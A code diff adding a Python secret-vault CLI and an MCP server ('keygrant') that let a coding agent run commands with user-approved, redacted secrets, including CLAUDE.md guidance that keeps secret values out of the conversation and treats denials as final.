+ sep = args.index("--")
419
+ names = [n for n in args[0].split(",") if n]
420
+ command = args[sep + 1:]
421
+ if not command:
422
+ print("error: no command after --", file=sys.stderr)
423
+ return 2
424
+
425
+ vault = load_vault()
426
+ for name in names:
427
+ if name not in vault:
428
+ print(f"error: no such secret: {name}", file=sys.stderr)
429
+ return 1
430
+
431
+ allowed, reason = request_approval(names, subprocess.list2cmdline(command))
432
+ if not allowed:
433
+ print(f"denied: {reason}", file=sys.stderr)
434
+ return 3
435
+
436
+ secrets: dict[str, str] = {}
437
+ for name in names:
438
+ secrets[name] = decrypt_value(vault[name])
439
+
440
+ # audit trail: usage metadata, never values
441
+ now = datetime.now(timezone.utc).isoformat(timespec="seconds")
442
+ for name in names:
443
+ vault[name]["last_used"] = now
444
+ vault[name]["use_count"] = vault[name].get("use_count", 0) + 1
445
+ save_vault(vault)
446
+
447
+ env = os.environ.copy()
448
+ env.update(secrets)
449
+
450
+ if not redact_output:
451
+ proc = subprocess.run(command, env=env)
452
+ return proc.returncode
453
+
454
+ proc = subprocess.run(command, env=env, capture_output=True, text=True)
455
+ out = redact(proc.stdout, secrets)
456
+ err = redact(proc.stderr, secrets)
457
+ if out:
458
+ sys.stdout.write(out)
459
+ if err:
460
+ sys.stderr.write(err)
461
+ return proc.returncode
462
+
463
+
464
+ def cmd_revoke(args: list[str]) -> int:
465
+ if not args:
466
+ print("usage: keygrant revoke NAME | --all", file=sys.stderr)
467
+ return 2
468
+ if args[0] == "--all":
469
+ save_grants({})
470
+ print("revoked: all grants")
471
+ return 0
472
+ grants = load_grants()
473
+ if args[0] not in grants:
474
+ print(f"no active grant for: {args[0]}")
475
+ return 0
476
+ del grants[args[0]]
477
+ save_grants(grants)
478
+ print(f"revoked: {args[0]}")
479
+ return 0
480
+
481
+
482
+ CLAUDE_MD_MARKER = "<!-- keygrant-guidance -->"
483
+ CLAUDE_MD_SNIPPET = f"""
484
+ {CLAUDE_MD_MARKER}
485
+ ## Secrets (keygrant)
486
+
487
+ API keys and other secrets are managed by keygrant and must NEVER appear in
488
+ this conversation. Rules:
489
+
490
+ - Never ask the user to paste a secret value; never echo, log, or hardcode one.
491
+ - To see which secrets exist, use the `list_secrets` MCP tool.
492
+ - To run a command that needs a secret, use the `exec_with_secrets` MCP tool
493
+ and reference the secret as an environment variable (e.g. `$STRIPE_KEY` /
494
+ `%STRIPE_KEY%`). The user approves each use via a native dialog.
495
+ - If access is denied, do not retry; ask the user what they want to do.
496
+ """
497
+
498
+
499
+ def cmd_init(_args: list[str]) -> int:
500
+ """Wire the current project up for Claude Code."""
501
+ # .mcp.json: merge, don't clobber other servers
502
+ mcp_path = os.path.join(os.getcwd(), ".mcp.json")
503
+ config = {}
504
+ if os.path.exists(mcp_path):
505
+ try:
506
+ with open(mcp_path, "r", encoding="utf-8") as f:
507
+ config = json.load(f)
508
+ except json.JSONDecodeError:
509
+ print(f"error: {mcp_path} exists but is not valid JSON", file=sys.stderr)
510
+ return 1
511
+ config.setdefault("mcpServers", {})["keygrant"] = {"command": "keygrant-mcp"}
512
+ with open(mcp_path, "w", encoding="utf-8") as f:
513
+ json.dump(config, f, indent=2)
514
+ f.write("\n")
515
+ print(f"wrote: {mcp_path} (server: keygrant-mcp)")
516
+
517
+ # CLAUDE.md: append guidance once
518
+ claude_md = os.path.join(os.getcwd(), "CLAUDE.md")
519
+ existing = ""
520
+ if os.path.exists(claude_md):
521
+ with open(claude_md, "r", encoding="utf-8") as f:
522
+ existing = f.read()
523
+ if CLAUDE_MD_MARKER in existing:
524
+ print(f"ok: {claude_md} already has keygrant guidance")
525
+ else:
526
+ with open(claude_md, "a", encoding="utf-8") as f:
527
+ if existing and not existing.endswith("\n"):
528
+ f.write("\n")
529
+ f.write(CLAUDE_MD_SNIPPET)
530
+ print(f"updated: {claude_md}")
531
+
532
+ print("\nnext steps:")
533
+ print(" 1. add a secret: keygrant set MY_KEY --desc \"what it is\"")
534
+ print(" 2. restart Claude Code in this folder to load the MCP server")
535
+ return 0
536
+
537
+
538
+ def main() -> int:
539
+ if len(sys.argv) < 2:
540
+ print(__doc__.strip(), file=sys.stderr)
541
+ return 2
542
+ cmd, args = sys.argv[1], sys.argv[2:]
543
+ handlers = {"set": cmd_set, "list": cmd_list, "rm": cmd_rm,
544
+ "exec": cmd_exec, "revoke": cmd_revoke, "init": cmd_init}
545
+ if cmd not in handlers:
546
+ print(f"error: unknown command: {cmd}", file=sys.stderr)
547
+ return 2
548
+ try:
549
+ return handlers[cmd](args)
550
+ except OSError as exc:
551
+ print(f"error: {exc}", file=sys.stderr)
552
+ return 1
553
+
554
+
555
+ if __name__ == "__main__":
556
+ sys.exit(main())
keygrant_mcp.py ADDED
@@ -0,0 +1,222 @@
1
+ #!/usr/bin/env python3
2
+ """keygrant MCP server (prototype) — stdio JSON-RPC, zero dependencies.
3
+
4
+ Exposes the DPAPI vault to AI agents WITHOUT ever returning secret values:
5
+ - list_secrets: names, descriptions, usage metadata only
6
+ - exec_with_secrets: run a shell command with chosen secrets injected as env
7
+ vars; stdout/stderr are redacted (plaintext values masked) BEFORE being
8
+ returned into the model's context.
9
+
10
+ Deliberately absent: any set/get tool. Storing a secret through the model
11
+ would place the value in model context; values enter only out-of-band via
12
+ `keygrant set` (stdin) or a future local UI.
13
+
14
+ Register in Claude Code (.mcp.json):
15
+ {
16
+ "mcpServers": {
17
+ "keygrant": {
18
+ "command": "python",
19
+ "args": ["<path>/keygrant_mcp.py"]
20
+ }
21
+ }
22
+ }
23
+ """
24
+
25
+ import json
26
+ import os
27
+ import subprocess
28
+ import sys
29
+ import uuid
30
+ from datetime import datetime, timezone
31
+
32
+ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
33
+ from keygrant import ( # noqa: E402
34
+ load_vault, save_vault, decrypt_value, request_approval, redact,
35
+ )
36
+
37
+ # One requester identity per MCP server process = per agent session. Grants
38
+ # approved in this session cannot be reused by other sessions or bare CLI calls.
39
+ os.environ["KEYGRANT_REQUESTER"] = f"mcp:{os.getpid()}:{uuid.uuid4().hex[:8]}"
40
+
41
+ PROTOCOL_VERSION = "2025-06-18"
42
+
43
+ TOOLS = [
44
+ {
45
+ "name": "list_secrets",
46
+ "description": (
47
+ "List the names and descriptions of secrets available in the local "
48
+ "vault. Values are never returned. Use exec_with_secrets to run a "
49
+ "command that needs one of these secrets."
50
+ ),
51
+ "inputSchema": {"type": "object", "properties": {}},
52
+ },
53
+ {
54
+ "name": "exec_with_secrets",
55
+ "description": (
56
+ "Run a shell command with the named secrets injected as environment "
57
+ "variables (reference them as %NAME% / $env:NAME / $NAME inside the "
58
+ "command). The user must approve access via a native dialog (grants "
59
+ "last 15 minutes); a denial is final — never retry it. Output is "
60
+ "returned with any plaintext secret values redacted. This is the "
61
+ "ONLY way to use a secret; values never appear in conversation "
62
+ "context."
63
+ ),
64
+ "inputSchema": {
65
+ "type": "object",
66
+ "properties": {
67
+ "command": {
68
+ "type": "string",
69
+ "description": "Shell command to run (executed via cmd /c on Windows).",
70
+ },
71
+ "secrets": {
72
+ "type": "array",
73
+ "items": {"type": "string"},
74
+ "description": "Names of vault secrets to inject as env vars.",
75
+ },
76
+ "cwd": {
77
+ "type": "string",
78
+ "description": "Optional working directory.",
79
+ },
80
+ },
81
+ "required": ["command", "secrets"],
82
+ },
83
+ },
84
+ ]
85
+
86
+
87
+ def tool_list_secrets(_args: dict) -> str:
88
+ vault = load_vault()
89
+ if not vault:
90
+ return "(vault empty — add secrets out-of-band with: keygrant set NAME)"
91
+ lines = []
92
+ for name, meta in sorted(vault.items()):
93
+ lines.append(
94
+ f"- {name}: {meta.get('desc') or '(no description)'} "
95
+ f"[used {meta.get('use_count', 0)}x, last: {meta.get('last_used') or 'never'}]"
96
+ )
97
+ return "\n".join(lines)
98
+
99
+
100
+ def tool_exec_with_secrets(args: dict) -> str:
101
+ command = args["command"]
102
+ names = args["secrets"]
103
+ vault = load_vault()
104
+
105
+ for name in names:
106
+ if name not in vault:
107
+ return f"error: no such secret: {name} (use list_secrets)"
108
+
109
+ allowed, reason = request_approval(names, command)
110
+ if not allowed:
111
+ return (
112
+ f"denied: {reason}. Do not retry automatically; "
113
+ "ask the user whether they want to grant access."
114
+ )
115
+
116
+ secrets: dict[str, str] = {}
117
+ for name in names:
118
+ secrets[name] = decrypt_value(vault[name])
119
+
120
+ now = datetime.now(timezone.utc).isoformat(timespec="seconds")
121
+ for name in names:
122
+ vault[name]["last_used"] = now
123
+ vault[name]["use_count"] = vault[name].get("use_count", 0) + 1
124
+ save_vault(vault)
125
+
126
+ env = os.environ.copy()
127
+ env.update(secrets)
128
+ proc = subprocess.run(
129
+ ["cmd", "/c", command] if os.name == "nt" else ["sh", "-c", command],
130
+ env=env,
131
+ cwd=args.get("cwd") or None,
132
+ capture_output=True,
133
+ text=True,
134
+ errors="replace",
135
+ timeout=120,
136
+ )
137
+
138
+ out = redact(proc.stdout or "", secrets)
139
+ err = redact(proc.stderr or "", secrets)
140
+
141
+ parts = [f"exit code: {proc.returncode}"]
142
+ if out.strip():
143
+ parts.append(f"stdout:\n{out.rstrip()}")
144
+ if err.strip():
145
+ parts.append(f"stderr:\n{err.rstrip()}")
146
+ return "\n".join(parts)
147
+
148
+
149
+ HANDLERS = {
150
+ "list_secrets": tool_list_secrets,
151
+ "exec_with_secrets": tool_exec_with_secrets,
152
+ }
153
+
154
+
155
+ def handle(msg: dict):
156
+ method = msg.get("method")
157
+ msg_id = msg.get("id")
158
+
159
+ if method == "initialize":
160
+ return {
161
+ "jsonrpc": "2.0",
162
+ "id": msg_id,
163
+ "result": {
164
+ "protocolVersion": PROTOCOL_VERSION,
165
+ "capabilities": {"tools": {}},
166
+ "serverInfo": {"name": "keygrant", "version": "0.1.0"},
167
+ },
168
+ }
169
+ if method == "tools/list":
170
+ return {"jsonrpc": "2.0", "id": msg_id, "result": {"tools": TOOLS}}
171
+ if method == "tools/call":
172
+ params = msg.get("params", {})
173
+ name = params.get("name")
174
+ handler = HANDLERS.get(name)
175
+ if handler is None:
176
+ return {
177
+ "jsonrpc": "2.0",
178
+ "id": msg_id,
179
+ "error": {"code": -32602, "message": f"unknown tool: {name}"},
180
+ }
181
+ try:
182
+ text = handler(params.get("arguments", {}))
183
+ return {
184
+ "jsonrpc": "2.0",
185
+ "id": msg_id,
186
+ "result": {"content": [{"type": "text", "text": text}]},
187
+ }
188
+ except Exception as exc: # tool errors go back as tool results
189
+ return {
190
+ "jsonrpc": "2.0",
191
+ "id": msg_id,
192
+ "result": {
193
+ "content": [{"type": "text", "text": f"error: {exc}"}],
194
+ "isError": True,
195
+ },
196
+ }
197
+ if msg_id is not None: # unknown request → error; notifications ignored
198
+ return {
199
+ "jsonrpc": "2.0",
200
+ "id": msg_id,
201
+ "error": {"code": -32601, "message": f"method not found: {method}"},
202
+ }
203
+ return None
204
+
205
+
206
+ def main() -> None:
207
+ for line in sys.stdin:
208
+ line = line.strip().lstrip("")
209
+ if not line:
210
+ continue
211
+ try:
212
+ msg = json.loads(line)
213
+ except json.JSONDecodeError:
214
+ continue
215
+ reply = handle(msg)
216
+ if reply is not None:
217
+ sys.stdout.write(json.dumps(reply) + "\n")
218
+ sys.stdout.flush()
219
+
220
+
221
+ if __name__ == "__main__":
222
+ main()